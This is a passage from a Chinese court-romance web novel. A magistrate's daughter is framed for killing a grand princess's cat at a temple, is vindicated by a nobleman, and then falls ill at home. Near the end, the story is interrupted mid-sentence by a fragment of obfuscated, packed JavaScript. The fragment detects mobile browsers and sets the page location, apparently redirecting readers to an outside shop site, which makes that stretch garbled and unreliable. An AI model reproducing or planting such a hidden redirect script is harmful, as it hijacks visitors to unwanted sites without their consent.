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江言之是个爽快人,心性颇疏朗,解了困惑就不再纠结这件小事:“原来是偶遇,我还以为苓妹妹你也和那些人一样。” 晚苓心情舒服了很多。 大抵在认识的人面前,她不用卑躬屈膝,就恢复了往日的欢乐。 “哪些人?”她问。 哪些人? 江言之没有说话,瞟了一眼迎风而立谢铉。 身为宗室近支,出身襄王府,芝兰玉树又贵不可言,可不是引得许多少女心驰神往,主动靠近。 还有看上了谢铉的身份,私心作祟,妄图一飞冲天的世家贵女。 而且二人刚刚一个掩面拭泪,一个事不关己高高挂起,可不就像晚苓表白不成,被狠心拒绝了。 “没有哪些人。” 江言之满脸热忱,大大方方转过身:“对了,上回你说我家厨子做的糕点味道甚妙,这回我让人把他师傅请来了,据说是最正宗的桥州玉兰斋。” 自从来了上京,晚苓就没再吃过玉兰斋的甜糕,当下喜不自胜:“真的吗?” “当然,我能骗你吗?”江言之拍着胸脯保证,语气爽利。 晚苓想起在临安侯府吃过的糕点,转悲为欢:“那好,下回我去的时候,你可记得让他做甜一点。” 两人一唱一和,晚苓再回头时,发现谢铉不知什么时候已经走了。 她懊恼不已,这会子怎么忽然惦记上吃的,白白放跑了谢铉。 和江言之聊了一会儿,晚苓无意再耽搁。 本就是想出来寻个清净,排遣心中郁气,此刻心情已然舒缓许多,也是回去的时候。 她辞别江言之,绕过泉边,踏上了那条郁郁葱葱的小径,走着走着,忽然闻到一股烟味。 起先还以为是哪位香客在此处燃香祈福,转念一想,此处并没立什么神像。 只有一个十三四岁的小丫头跪在地上,取了黄纸点火焚烧,一边烧一边低声抽泣,口中呢喃。 “你为何在这里烧纸钱?山上风大,引发山火可是重罪。”晚苓冷脸道。 那丫头见到有人来,慌乱之中赶忙用脚踩灭火苗,惊慌失措伏在地上。 “姑娘恕罪,我不是有心的,我只是想着这里是寺庙,想为我可怜的姐姐祈福,今日正好是她的头七,若是能得佛祖保佑,愿她下辈子做个好好的姑娘,不要再为奴为婢,任人打杀了。” 晚苓虽然言辞严厉,但也不是真心要细究她错处,又听到这么悲伤的事,立刻缓和了语气,把她拉起来。 “你别担心,我并非恶意生事之人,灭了就好了,别哭了。” 见小丫头仍止不住泪水和恐惧,她又问:“朝廷明令禁止打杀奴仆,你为何不去官府替你姐姐伸冤?” 那小丫头只是一个劲儿地摇头,脸上满是无奈与悲戚。 “若是寻常主家,倒还能去官府告状,可公主府哪是容人说理的地方,得罪了县主,只能自认倒霉......” 一听到公主府三个字,晚苓就歇菜了。 7. 程姑娘,要委屈你了 她自身难保,对公主府避之不及,更别提帮忙伸冤。 传闻宁嘉县主张扬跋扈,行事无所忌惮。 昭阳大长公主对此听之任之,这些年公主府里抬出去的,没有十个也有八个。 晚苓也问过,为何平日管大臣家鸡毛蒜皮小事的那些谏臣,从不上奏公主府的事。 江灵萱长叹一声,略带讥讽解释:“大长公主是皇室宗亲,有恩于陛下,她一发话,陛下也要给几分薄面,有谁敢去深究她的错?” 扑灭的火被风一吹,果然有复燃的痕迹。 晚苓赶忙与小丫头一道,匆匆捧了清水来,彻底将火苗浇熄。 小丫头又跪下:“姑娘,我是偷偷跑出来的,请姑娘将今日之事忘却,我再也不敢随意烧纸了。” 晚苓伸手扶起她,暖声安慰:“无妨,今日之事,我定不会外传。” 她知晓了这件事,到底同情,拔下一支玉坠簪子塞在她手里:“这个是我前几日买的,还算值几个钱,你拿去庙里添点香油,让师父们为你姐姐超度吧。” 小丫头痛哭流涕,含泪鞠了一躬:“姑娘善心,奴婢没齿难忘。” 晚苓摸了摸她瘦削如骨的肩膀,目送她离开,回去同宁嘉县主告辞。 “程姑娘匆匆而去,是觉得我公主府招待不周吗?” 宁嘉县主正端坐在雕花楠木椅上,身姿优雅,眯起丹凤眼反问。 “是我忽觉犯了旧疾,身子不爽,山上没有大夫,不愿为我一人生病打扰了县主雅兴。” 宁嘉县主挑眉,没有点头:“程姑娘这病,来的可真是不巧......” 晚苓心中一紧。 公主府的宴会,似乎想走也不是那么容易的。 就在这时,一个黄衣婢女步伐匆匆赶来,气喘吁吁:“县主,不好了!” 宁嘉县主皱眉,放下茶盏不悦道:“没规矩的东西,说吧,何事惊慌?” 黄衣婢女跪在地上,把怀里的猫儿放在地上,颤抖得不成样子。 原本娇贵无比的白猫身上沾了不少尘土和血迹,躺在地上一动不动,明显是死了。 婢女哭诉:“县主,奴婢见团儿久久未归,担心它在外乱跑,误食不干净的东西,便去后院寻,谁知就发现它死在后院。” 她是专门伺候猫的,猫出事,她难逃其责,所以才如此害怕。 所有人顿时惊讶了纷纷退后两步,心中疑惑。 妙莲打量了晚苓两眼,若有所指:“程姑娘,若我没看错,刚刚你是从后院回来的。” 听了她的话,在场的人都用意味不明的眼神看着晚苓。 “妙莲姑娘是何意?”晚苓抬眼问。 妙莲冷笑:“之前团儿不小心刮伤过你的手,你不会挟私报复,趁着它跑出去摔死它吧?” 萦娘也在一旁掩嘴附和:“我说怪哉,县主的宴会旁人想来还求之不得,你却恨不得向县主告辞,原来是想早早离开,这样即便我们发现团儿的尸体,也不会怀疑到你头上。” “......” 气氛莫名添了几分诡谲,周围的贵女纷纷交头接耳,虽然没有和妙莲萦娘一般出言针对,但也远离了几分。 晚苓只觉脑袋“嗡”的一声般头昏脑涨,手脚冰凉,下意识地攥紧衣角看向宁嘉县主。 “妙莲,萦娘,事情未明,你们怎可如此说话?” 宁嘉县主适时制止了两人的指责:“程姑娘虽从后院来,但真相如何,还需问过之后才知晓,不是吗?” 庭中吵闹暂止,妙莲、萦娘二人在宁嘉县主的话音下被迫闭了嘴,看待晚苓时,更多了几分怨怼。 宁嘉县主有意无意地拨弄着腕上那串圆润的珍珠,脸上一派公正:“程姑娘,你刚刚在后院,可有看到什么可疑的人出入吗?” 晚苓心中愤懑,自己没做,当然不能吃了这个恶心的亏。 她梗着脖子回答:“没有,我在后院从未看过团儿,也没看过任何可疑的人。” “这倒是奇了......” 宁嘉县主扶额叹息,极为困惑:“今日其他府邸的下人都被拦在寺门外,后院有女眷,僧人也被禁止出入......” 听着宁嘉县主一句句的排除,晚苓双唇紧抿,哪怕心中慌乱,也告诉自己一定要定下心神。 园中熏香袅袅,佛寺有不少的檀香,但为了迎接公主府的人,早换成了贵族们喜爱的鲜花熏香,淡然雅致,对晚苓而言却无比刺鼻。 不多时,前去一探究竟的婆子就拖着个丫头前来,扔到地上。 “县主,这丫头在那边鬼鬼祟祟被我发现,一定是做了什么亏心事,莫不是团儿就是被她摔死的?” 晚苓闻声望去,心中猛地一沉,一种不祥的预感涌上心头。 是那个烧纸的丫头。 今日这般一环接一环的是非,比她这辈子经历的都要多。 果不其然,那丫头被揪来之后,神色慌张,目光匆匆扫过在场的人,扑向宁嘉县主脚下哭诉:“奴婢冤枉啊,县主,不是我杀的团儿。” “既然不是你,你又心虚什么?还是说......你看到了什么?” 妙莲的眼神看向了晚苓。 “我、我不知道,我真的什么也没看见......”小丫头低着头,浑身颤抖。 宁嘉县主倾下身看着她:“苑儿,欺瞒主子,当受杖刑三十。” “你若不说实话,休怪本县主不留情面。” 苑儿被吓得睁大眼睛,连连喘气,惊惧不已。 犹豫片刻后,她终于鼓起勇气,眼神缓缓扫过在场的人,最后伸手指了指。 “是她,是程姑娘,我亲眼见着她在假山旁扼住团儿的脖子,直直往石头上摔,还说什么叫你抓我之类的话。” “真的是她!” “程姑娘,你——这也太狠心了吧?” 周遭目光直刺,晚苓大脑瞬间空白,难以置信看着苑儿。 宁嘉县主追问:“哦?你既然看到了,为何一开始不告诉本县主,反倒故意隐瞒?” 苑儿瑟瑟低头,鹌鹑似的畏缩回答:“奴婢......奴婢有罪,程姑娘她给了我这个,说值几两银子,让我守口如瓶。” 她战战兢兢拿出那枚坠子,捧在手心呈给宁嘉县主:“就是这个。” 妙莲瞧了一眼,认出是晚苓今日戴在头上的,嗤一声讥笑道: “我看县主还是太心善了,方才还说莫要冤枉了她,小地方来的,看县主如此尊贵大方,哪能没有几分嫉妒,这不,被团儿嫌弃之后,就狠心杀了它,真是居心叵测,狠毒至极!” 晚苓从震惊中清醒过来,敛眸看了她一眼:“简直胡说八道,我怎么可能会去杀它?” “人证物证俱在,你还想抵赖不成?” 宁嘉县主拿着玉坠,目光失望看向晚苓,痛心惋惜道:“程姑娘,我本是好意让你亲近团儿,你不喜就算了,何苦在佛门开杀戒?” 晚苓抬眼,一一看了在场众人指责的目光,只能安慰自己清者自清。 虽然她们都已经给她定了罪,但只要没做,一定能洗脱冤屈。 她深吸一口气,努力让自己的声音听起来平稳坚定:“这丫头在撒谎,坠子是我给她的不错,不过是瞧她在后院烧纸钱祭奠她姐姐,我觉着可怜,有心安慰让她去添点香油而已。” “至于这只猫儿,我从未在后院看过,县主不能凭一人所言就定罪。” “这倒是奇了......” 宁嘉县主秀眉微蹙,面露为难之色,旋即看向苑儿:“苑儿,程姑娘说的颇有道理,难不成,是你在撒谎?” 苑儿本就是胆小之人,听了宁嘉县主的怀疑,立马哭着摇头,声泪俱下道:“县主明鉴,奴婢绝无半句虚言,奴婢烧纸钱有罪,可正因如此,才能看到程姑娘行凶,她摔死团儿之后犹不解气,还狠狠踩了一脚,想必脚下也有血迹,县主差吴妈妈一看便知!” 众人听了她这一番话,再看她这副胆怯的模样,确实不像敢栽赃嫁祸的人,心里又偏向了两分。 被称作吴妈妈的婆子上前,只待宁嘉县主令下。 宁嘉县主点了点头,没了刚才的温柔之态,扶了扶鬓角,声音沉沉似乌云压境: “程姑娘,如此看来,要委屈你了。” 话音落,两个身形矫健的婢女迅速上前,一左一右稳稳按住晚苓的肩膀。 “别碰我!” “程姑娘,本县主也是为了 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晚苓头脑混乱,望着宁嘉县主柔媚从容的脸庞,如同枝桠般僵硬地挺立着。 众人皆知,这猫是昭阳大长公主的心爱之物,带着它来上香,可见宠溺。 而昭阳大长公主一向不讲情面,谁得罪了她都没有好下场。 小小侍郎之女,与公主府相比根本不值一提。 真到了那地步,少不得脱层皮。 宁嘉县主也在思量,到底要怎么做时,门外传来一道威严掷地的声音。 “谁要到我面前?” 众人回望,闹声戛然而止,无论世家贵女,还是婆子婢女,纷纷低头迎接,不敢再发一言。 原本还有几声讨论指责,此刻也消失得无影无踪。 昭阳大长公主被人扶着,跨过门槛缓缓而来,身后跟着几个四五十岁的贵眷,皆身着华服,妆容精致,举手投足间十分从容优雅。 宁嘉县主见状,快步走到昭阳大长公主面前,盈盈下拜问安:“祖母,母亲,王妃娘娘安好......” “祖母息怒,孙女并非有意惊扰祖母斋戒上香,团儿是您的爱宠,如今惨遭毒手,孙女只能请您定夺。” 昭阳大长公主随着她的示意望去。 一见那地上浑身血迹、毫无声息的猫儿,便觉得眼中一阵刺痛,下意识捂住胸口。 她厉声质问:“是谁?谁那么大胆?” 宁嘉县主侍奉她入座,轻声劝慰:“祖母息怒,切勿伤了身子。” 萦娘迫不及待上前,指着晚苓谄媚道:“大长公主,就是这程家的女儿杀了团儿,还请大长公主惩治。” 昭阳大长公主并未应她的话,将目光转向宁嘉县主。 宁嘉县主点头应是:“萦娘所言不虚,这程姑娘被团儿抓伤,竟怀恨在心,在后院蓄意摔死了它,不过猫儿到底不比人命,望祖母念在她是初犯的份上,从轻发落。” “呵!谁说本公主的猫儿不如人?” 昭阳大长公主声如洪钟,未饮的茶被她重重扔在石桌上,仿若一记重锤,震得人心中一颤。 “无论是谁家女儿,胆敢杀害本公主的猫儿,就一定要付出代价,吴婆子,把她捆起来带回公主府!” 就算是当朝侍郎的女儿,公主府的下人也从不放在心上。 在她们看来,得罪了昭阳大长公主的人,无一例外都该死。 吴婆子脸上眯起眼,露出几分恶毒的笑意,手中卷了条拇指粗细的麻绳,一步一步朝着晚苓逼近。 “程姑娘,老奴得罪了!” 晚苓万万没想到,昭阳大长公主竟然比传闻中的还要凌厉,不分青红皂白就要抓人。 她挣扎了两下,奈何按着她的婢女健硕有力,根本掀不起任何水花,情急之下只能大喊:“大长公主,您不能捆我!” 昭阳大长公主眼皮未抬,只冷然道:“笑话,你杀了团儿,本公主要你的命都可!” “可我不是凶手,您杀了我,只会让凶手逍遥法外,届时恐遭人诟病,堂堂公主府,连真凶都难以辨明,不仅有失公允,还会贻笑大方!” “......” 8. 本公主要你的命都可 四月的天阴晴不定,阴风袭来,天色逐渐黯淡。 几片落叶被风裹挟着在空中打着旋儿,最终飘落于地。 向来沉默寡言的襄王妃主动起身:“大长公主,不是说备了素宴,我此时倒是饿了,不如先去用膳?” 襄王妃不知道谁是谁非,但也知晓此事绝非那么简单。 程家确实不如其他世家,但程侍郎得陛下赏识,委以重任,不可小觑。 希望大长公主平心静气后,思量得多些。 只是她有意大事化小,萦娘却没体会到这番苦心。 见晚苓还要狡辩,她颇为得意道:“你不是凶手谁是,这丫头身上有你收买给的坠子,你鞋子上沾有团儿的血,铁证如山,还妄图抵赖不成?” 晚苓目光投向地上那已然没了气息的猫儿,心中一阵酸涩。 她定了定神,随即开口:“我自幼怕猫,平日里见了都会远远躲开,万没有主动靠近杀它的道理。” “再者,既然只有我和这丫头在后院,焉知不是她亲手杀了团儿,栽赃嫁祸于我?” 苑儿见状,急忙磕头申辩:“大长公主切勿听信她的话,公主府上下皆知,团儿是您爱宠,我去杀它,岂不是自寻死路?” 她苦心劝道:“程姑娘,您就认了吧!” “你休想口血喷人——” 晚苓又急又气,声音颤抖起来。 环顾四周,目光一一扫过在场的人。 看好戏的,于心不忍的,还有一心想要置她于死地的,哪一个不是号称名门世家? 如果此事是这丫头对公主府心生怨恨故意报复,或许还有一线生机。 若是宁嘉县主暗中授意,只怕在劫难逃。 可她与这些人毫无交集,怎么会跟仇人一般针对自己? 仅仅是因为自己是小地方来的,践踏了她们上京尊贵之地,就要遭他们轻视、刁难和算计? 晚苓从未遭遇过这般情境,脑子乱成浆糊,恍恍惚惚看不清人影。 吴婆子拿着捆绳,一步步靠近。 “慢着!” 就在她即将抓住晚苓时,谢铉清朗的声音自外头传来。 犹如天籁。 晚苓瞬间清醒。 简短的一句话,让所有人都没了动作。 她快速推开了吴婆子,拔下另一支簪子防备。 “都给我滚!别过来!” “大长公主,这……” 没人想过谢铉会突然出现,为了一个女子阻拦昭阳大长公主的命令。 “明昭,你这是何意?” 昭阳大长公主终于舍得抬眸。 谢铉遥遥施了一礼,徐步走来:“大长公主,我大梁没有让人为一只猫偿命的律法,况且这程姑娘真要是摔了猫犯了事,大可以找个地方藏匿,何必将猫尸置于路中,轻易让人发现?” 昭阳大长公主眼波平静,似乎在思索谢铉的话。 宁嘉县主无声咽下一口气。 祖母唤谢铉明昭,明显有拉拢之意,于情于理,他都应该唤一声姑祖母。 可他却不领情,直称大长公主。 这块硬骨头,真让人不悦。 却是她最想啃下的。 “程姑娘,满院宗室贵眷在此,大长公主绝不会动怒杀人。” 谢铉瞧了眼她手中的簪子,让她安心放下。 晚苓流下两行热泪,贴住脸颊上的两缕发丝,嫣红的嘴唇也因为恐惧而泛白,罗裙被揪得皱巴巴的,裙摆处沾染了几处血渍。 虽然挣脱了束缚,却浑身狼狈,毫无尊严可言。 她理了理衣领,把散落的头发撇到后头,一脸倔强站在中间。 吴婆子想夺过她的簪子,被谢铉一个冷眸打落,讪讪收回手。 一旁的襄王妃倒有些惊讶。 这个儿子素来清冷不近人情,鲜少与人打交道,今日竟会为一个女子和大长公主唱反调。 不过既然他出声了,自己也只能帮腔:“明昭此言确实不错,大长公主,我看这程氏女目光镇定,神色坦然,或许另有隐情也未可知。” “若不是她,还能有谁?”妙莲迫不及待脱口而出。 “听你的意思,是你亲眼所见?”谢铉冷声道。 “……” 他的名气在上京也算响亮,出身皇家却没有宗室子弟的散漫娇惯,随襄王镇守边疆,战功赫赫,且文武双全,着实是宗室中的典范。 最重要的是,他从不与京中贵女过多牵扯,就算有人试图攀附,也会被侍从挡在外面。 而今却因为程氏女主动踏入这满是女人的是非地,公然出言反抗昭阳大长公主。 到底是仗义执言,不想冤枉无辜之人,还是对程家女儿有其他想法。 晚苓也没想到,谢铉竟还未离去,她以为他早就离开了。 “二公子,多谢你。”她抓着簪子哽咽道。 谢铉气岸卓然,眉头微蹙,并不多言语。 “二表哥,人证物证俱在,你凭什么断言祖母冤枉了她?” 宁嘉县主柔和的面容下,是快要咬碎的尖牙,双手的指甲掐着掌心,逐渐渗出了丝丝血迹。 谢铉不语,径自走到苑儿身边,目光炯炯。 苑儿不敢看他,只能伏地哭泣,看起来十分无辜。 谢铉道:“我并未断言,只是同为被疑之人,她说的话又怎么能作数?” “可她脚下还有团儿的血,若不是她亲手所为,又怎么会沾上血迹?” 谢铉没有立刻回答,而是走到白猫的尸体旁,眼神不善:“血迹而已,谁都有可能不小心沾上,这猫儿不见得是个顺从的主儿,爪子上还有血迹,摔它的人有可能被它的利爪和尖牙所伤,留下伤痕,除了程姑娘手背上的伤,在场的还有谁手上有伤,一验便知。” 话音一落,在场的人面面相觑,陷入一片死寂。 谢铉嘴角上扬,冷嘲道:“怎么,大长公主不想知道真正的凶手是谁?” 他指了指跪在地上的苑儿:“依我看,这丫头就很有嫌疑。” “不、不、我没有……” “只是看看手,难道大长公主这也不敢?” 话到此处,昭阳大长公主不得不吩咐底下的几个婆子:“查她的手。” 苑儿听罢,瞬间血色全无,拼命挣扎着想要躲避。 吴婆子压住她,把藏在袖子里的手揪出来,腕上赫然是两道清晰的抓痕。 “这……真是她?” “一个丫头,居然敢对大长公主的猫动手?” “大长公主饶命,奴婢知错了,奴婢有罪,但奴婢真不是故意的......” 苑儿惶恐瘫在地上,嘴里不停求饶。 昭阳大长公主的手段绝非常人可比。 官宦之女得罪了她或许还有生路,自己一个丫头,让她在这么多人面前失了脸面,绝对难逃一死。 谢铉摇头轻笑一声:“不是故意却能在这么短的时间内做好栽赃陷害的事,若是有心,岂非整个公主府被你玩弄于股掌之中?” 他双手抱胸,悠然站定在一旁。 昭阳大长公主抿唇不语。 谢铉显然是在讽刺她们刚刚被苑儿误导,冤枉了程家女儿。 “苑儿你怎可犯下如此错事,不仅杀了团儿,还污蔑程姑娘,公主府多年来竟养出你这等恩将仇报之人!” 宁嘉县主忽然出声,语气中满是失望。 苑儿埋头痛哭,心如死灰:“对不起县主,我辜负了您的厚爱。” “可是大长公主,奴婢只求您宽宏大量,饶过奴婢,奴婢再也不敢了。” 在庙里,昭阳大长公主不会犯戒杀生。 既是自家奴婢,如何惩治还不是一句话的事。 她轻轻示意一眼,让吴婆子把人带走。 真相水落石出,众人也歇了口气。 昭阳大长公主眉目微转,取下手里盘着的佛珠。 “程姑娘无辜受累,是我公主府招待不周,这点子心意就当赔礼。” 晚苓默默穿好鞋子,犹豫片刻,终是选择收下:“无碍,大长公主不必客气。” 想要尊贵无比的大长公主低头致歉,无异于痴人说梦。 她人微言轻,哪怕真被抓进公主府严刑拷打一顿,程家豁出命去也难讨公道。 眼下看在襄王府的份上,大长公主才软言安慰几句,还赐下礼物,就算心中委屈,也只能接受。 昭阳大长公主揉了揉眉尾,略带困倦:“既然真凶已经抓到了,诸位上完香,便一同到斋房用些素菜吧。” 众人各自点头,倒是一派安然祥和。 谢铉却道:“且慢。” 在众人好奇的目光下,他肃然出言:“难道只有大长公主一个人冤枉了程姑娘吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371137|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这话一出,宁嘉县主便沉了口气。 目光垂垂,不知在想着什么。 妙莲、萦娘两个闹得最为起劲的,如今恨不得自打嘴巴,躲在暗处不再见人。 晚苓心头一酸,没想到谢铉居然会记挂着这些小事。 人人都觉着事情已了,大长公主还亲自送了歉礼,已是史无前例,谁又记得她受过的委屈。 好不容易干透的眼眶,又变红了,温声温气:“二公子......” 谢铉凝眉警告:我在为你出头,少拖后腿! 晚苓不再言语。 妙莲、萦娘二人见大长公主都默认了,自然不敢拖延:“程姑娘,言语冒犯之罪,还望见谅。” “是我们不好,听信了苑儿的话,冤枉了程姑娘,望程姑娘海涵。” 就连高傲执拗的宁嘉县主,也起身道了一声抱歉。 晚苓吞了吞口水。 目光探向谢铉万年不变的脸色,呆愣着点了点头:“嗯。” 山门外,风景依旧。 连绵不绝的青山似巨龙蜿蜒,横亘于天地之间,俯仰万物,郁郁葱葱的植被枝叶摇曳,泛起层层绿浪。 偶尔有飞鸟划过,留下几声清脆鸣叫,转瞬便消失在视野之中。 晚苓抬头兴叹,没有初来时的憧憬和好奇,只有后怕。 “二公子,今日之事若没有你,我恐怕难以脱身,所以特来谢过。” 自己这次能完好无损出寺,全赖谢铉见义勇为。 若不是他,估计大长公主根本不会理会她的冤屈。 那猫儿一入土,自己就要背负莫须有的罪名一辈子。 就算程家求大长公主,也要受不少罪。 晚苓有些不是滋味。 在这些上京权贵的眼里,一个活生生的人,还比不过一只外邦进贡的猫。 若她不是官宦之女,而是同那个丫头一般卑微,公主府的人连谢铉的话都不会听,直接就会要了她的命。 想到那个丫头无端端陷害她,着实说不过去。 她们无冤无仇,她的姐姐被公主府迫害而死,如今,她恐怕也凶多吉少。 都是可怜人。 谢铉神色淡淡,并未居功自傲:“不用谢,有没有我,公主府也不敢对你滥用私刑。” 只不过折辱一番是少不了的。 “要的要的,我人微言轻,大长公主绝不可能轻易放过。” 算上信州他救她的那一次,已是第二次相助。 晚苓觉着他真是谦虚宽和、善良大方,与江灵萱口中那个冷漠无情的谢铉截然不同。 “若非二公子仗义执言,我如今恐怕已沦为阶下囚,如此大恩大德,晚苓无以为报,思来想去,只能——” “停,我不需要报答。” 谢铉客套两句,只是不想因为此事被她缠上。 眼看事情越来越复杂,他连忙打断:“切勿再提什么报不报恩的,我最烦此事!” 他可没有那种报来报去的爱好,更不会因为一些微末小事就纠缠不清。 “......” 晚苓想起宁嘉县主以报恩为由强迫他娶一事。 原来谢铉当真很厌恶,幸好她还未说出口。 “那好吧……” 谢铉本想一走了之,想了想又回头:“程姑娘,不是次次都有我刚好相救,你若想不再受罪,便要强大自身,聪明些最好。” 像方才妙莲和萦娘那样轻飘飘的歉意,只有傻子才会接受。 杀猫一事点到为止,在场这么多人,也没有几个会认为真凶就是一个小丫头。 只不过这是最恰当的处置。 晚苓坦然道:“我父亲初到京城为官,毫无根基,她们一个是威远国公府的姑娘,一个是静安侯府的姑娘,我不原谅,只怕——” “只怕今日之事传出去,人人都知道欺负你、冤枉你,只需要一句对不起,闹大了就扔个丫头出去顶罪,懂不懂?” 在这个吃人的上京,步步退让,换来的从来不是真诚以待,而是无穷无尽的麻烦。 谢铉真想用锤子砸醒她的脑袋瓜,看看里面除了风花雪月,还装了什么。 “那下回她们欺负我,你还会帮我吗?”晚苓不无期待问。 谢铉反诘:“我有那么闲?” 看晚苓欲言又止,似乎不服气,他又道:“怎么,你不同意?” 9. 逼得落荒而逃 别人欺负她,她都能忍了,自己费心劝慰,居然还没落个好? 晚苓捏着帕子,低声道:“二公子你是男子,自可出门建功立业,一展所长,可我身为女子,除了仰仗父亲,别无所持。” 谢铉倒是想起了她那番言论,程侍郎仕途正盛,她不能得罪公主府。 他认真道:“你父亲若真有才能,就算是大长公主,也不可能真的左右陛下的抉择,断送他前程。” “......” 晚苓沉默不语。 谢铉难得耐心再次询问:“她没那么大能耐,听懂了吗?” 晚苓点点头,但还是倔强道:“可只要在上京一日,县主看我不顺眼,还是可以刁难我......” 宁嘉县主今日没能得逞,也还会有后招,她就算刻意躲着,也很难躲过。 况且只有千日做贼的,哪有千日防贼的。 “那你打算如何应对?”谢铉打量她俏丽的脸庞,心里升腾一股无端的火气。 凄惨的模样还在,但眼中已经恢复了明媚灵动,艳若桃李的双颊,一双秋瞳恍若星子在其中点缀。 衣裳褶皱之下仍有斑驳血迹,但她却像穿着锦衣华服一般,挺直纤细的腰杆,顾盼生姿。 谢铉别过脸,不想看了。 晚苓眸光一亮:“除非......” “除非什么?” 谢铉问完又暗自思忖,她这脑袋瓜不太灵光,怕是想不出什么良策。 一个被污蔑了都不知如何辩驳的人,聪明劲儿估计都用在与陆延、楼栈那些人打情骂俏上了。 “除非我嫁的夫婿,权势比公主府更大......” 晚苓低下头,不敢直视谢铉的眼睛,声音小如蚊蝇。 谢铉:“......” 如此明晃晃的暗示,他要是听不出,枉活了这二十二年。 可笑的是,先前竟然觉得她被公主府的人欺凌,心生怜悯,还想着让她倚靠自身强大去解决,而非攀附权贵。 “真是孺子不可教也!” 谢铉留下这一句,翻身上马,扬尘而去,徒留一片尘土肆意飞扬。 晚苓抬手捂住鼻子,恰在此时,画眉好不容易寻到了她:“姑娘,您在这儿瞧什么呢?” “看一个被你家姑娘逼得落荒而逃的人......” 晚苓好生忧愁,为何谢铉这么难追。 明着不喜,暗着又不愿,好不容易鼓起勇气一回,最后只能吃吃尘土,连他的衣袖都没摸着。 下山的路空无一人,画眉左顾右寻,只寻到了牵着马出来的执玉:“程姑娘,我家公子呢?” 晚苓卷了卷纤长的发带,忧郁望天:“飞走了。” “......” 执玉双手比划了个小鸟展翅的动作,不可置信问她:“你是说,他这样飞走了吗?” 他家公子轻功固然了得,但带着赤峰,执玉怎么也想不通为何需要飞走。 晚苓耸耸肩,目光落在包扎手背的帕子上。 手已经不痛了,回去涂涂药膏,应当不会留下疤痕吧? “画眉,如果一个男子,整日让一个女子去独立强大,他到底存着什么心思呢?” 她知道喜欢自己的人是什么样的。 比如外祖家为她一个香囊争风吃醋的表兄们,会在她面前唯唯诺诺,捧着金银珠宝、鲜花美食让她尽情挑选。 又比如上京里头那些自诩风流才子的世家子弟,会在宴会上时不时看她,主动写诗作赋,明着让她鉴赏,实则偷偷表白...... 可谢铉又不同,他对她说不上冷漠,也说不上和颜悦色。 只是用一种审视的、刁钻的目光,把她当成罪犯一般,找出她的破绽。 晚苓知道自己不甚聪慧,但没想到画眉比她还愚钝,挠头想了好半天,才若有所思道:“奴婢觉着,大概就像老爷督促姑娘读书那样,爱之深,望女成凤矣。” 晚苓:“......” 晚苓回去没多久就病了一场。 画眉从厨房里端了一碗黑乎乎的药汁,轻手轻脚递给程夫人,又为晚苓盖好被子。 程侍郎最近几日随着京郊的几个县令去查盐税茶税,回来听闻女儿生病,爱女心切的他官服都来不及脱,匆匆踩着一脚泥就来了。 “苓儿好些了,你身上都是汗酸,快去沐浴更衣,用香好好熏过再来。”程夫人放下汤碗嫌弃道。 程侍郎内心忧切,非得看一眼才能安心:“不是说江家的人也在,有她姑母照拂,怎么还能让苓儿怕成这样?” “那会儿她姑母害了晕症,言之又没到女眷堆里,苦了我们女儿,如珠如宝养大,叫公主府磋磨成这般......” 起先回来时,晚苓除了心情郁郁之外,倒也没什么异常。 第二日黄昏,公主府的人携礼上门,主动道歉。 没成想,当天夜里晚苓就发了热,她强忍着没告诉程夫人,只叫画眉偷偷把从前的药煮了喝。 到第三日,不仅热没散去,浑身还起了不少疹子,画眉叫不醒人,才把事情告到程夫人面前。 原来那吴婆子不仅是来对晚苓道歉的,还私下恐吓了两句:“程姑娘命好,有襄王府的公子为您保了一条命,日后可得警醒些。” “可惜那小丫头了,烂命一条的破落户,胆敢做出这样的事,大长公主盛怒,叫人连她老子娘都一概用麻袋捆了,抡着双脚摔到假山石摔了个来回,脑浆和脏腑出来后,就扔到郊外喂狗。” “......” “岂有此理?谁让那多嘴的婆子上门的?” 程夫人听完画眉的转述,怒气上头,揪着衣袖痛不能忍。 “我们家的姑娘从小到大,从不沾染这些腌臜事,如今一个虔婆子都敢仗势欺人了!” 幼时撞见那得了疯狗病的人后,晚苓便害过一回魇症。 心肝似的将养多年,这才上京多久,叫吴婆子一吓,又旧病复发,连带着面色苍白,药也吃不下。 程夫人把怨气撒在程侍郎身上:“都是你,好好的桥州不待,让我们娘俩一块儿来上京受苦,我告诉你,等苓儿好了,我就带她回老家,你一个人守着你的官位过吧!” “苓儿说了一晚胡话,难道你也糊涂了?” 程侍郎自个儿搬了凳子坐在床旁,伸手探了探晚苓额头。 虽万分心疼,但还是比程夫人冷静些,让画眉把温热的帕子重新打湿,盖在女儿头上。 程家在桥州有些根基,程夫人不是当家夫人,但也受人尊敬。 唯有一点,无子。 旁人明里羡慕她丈夫专一,仕途顺遂,背地里都在嘲笑家财无人继承,最后怕是便宜了大伯子家的。 程侍郎入京为官,程老夫人愿意放她上京团圆,却不愿放晚苓一起去,说晚苓已经及笄,要在桥州择婿。 还是程侍郎写了好几封家书,直言上京择婿有益程家发展,才让老夫人点头。 没精打采回去,那些爱嚼舌根的都会以为她女儿在上京没人要。 程夫人念及此,又是摧眉难抑,对着晚苓一顿痛哭。 灯芯见底,烛火微微炸响,画眉拆开灯罩换了两支新烛,光照在晚苓小脸上,愈发明亮。 “老爷,夫人,姑娘好像醒了。” 程夫人打眼一瞧,女儿果然睁开莹润的双眸,好奇望着屋内:“母亲,你怎么哭了?” “我的儿,你可算醒了,告诉为娘,这是几?”程夫人伸出两根手指。 “......” 晚苓张着干涩的嘴角道:“母亲,我是病了,不是傻了。” 程侍郎上前问道:“苓儿,你可还记得,自己在什么地方?病之前,发生了什么事?” 晚苓抿了抿唇,望了一眼画眉,继续道:“父亲,我没失忆。” “哦......”程侍郎敛了敛尴尬。 夫妻二人追问玉华寺的事,晚苓只说是大长公主的猫儿被下人摔死,她被吓着了才生的病。 至于吴婆子的话,她也把被冤枉和受辱之事略略带过,说是昭阳大长公主威严太盛,她从未见过这般严厉的人,怕自己什么地方得罪了公主府。 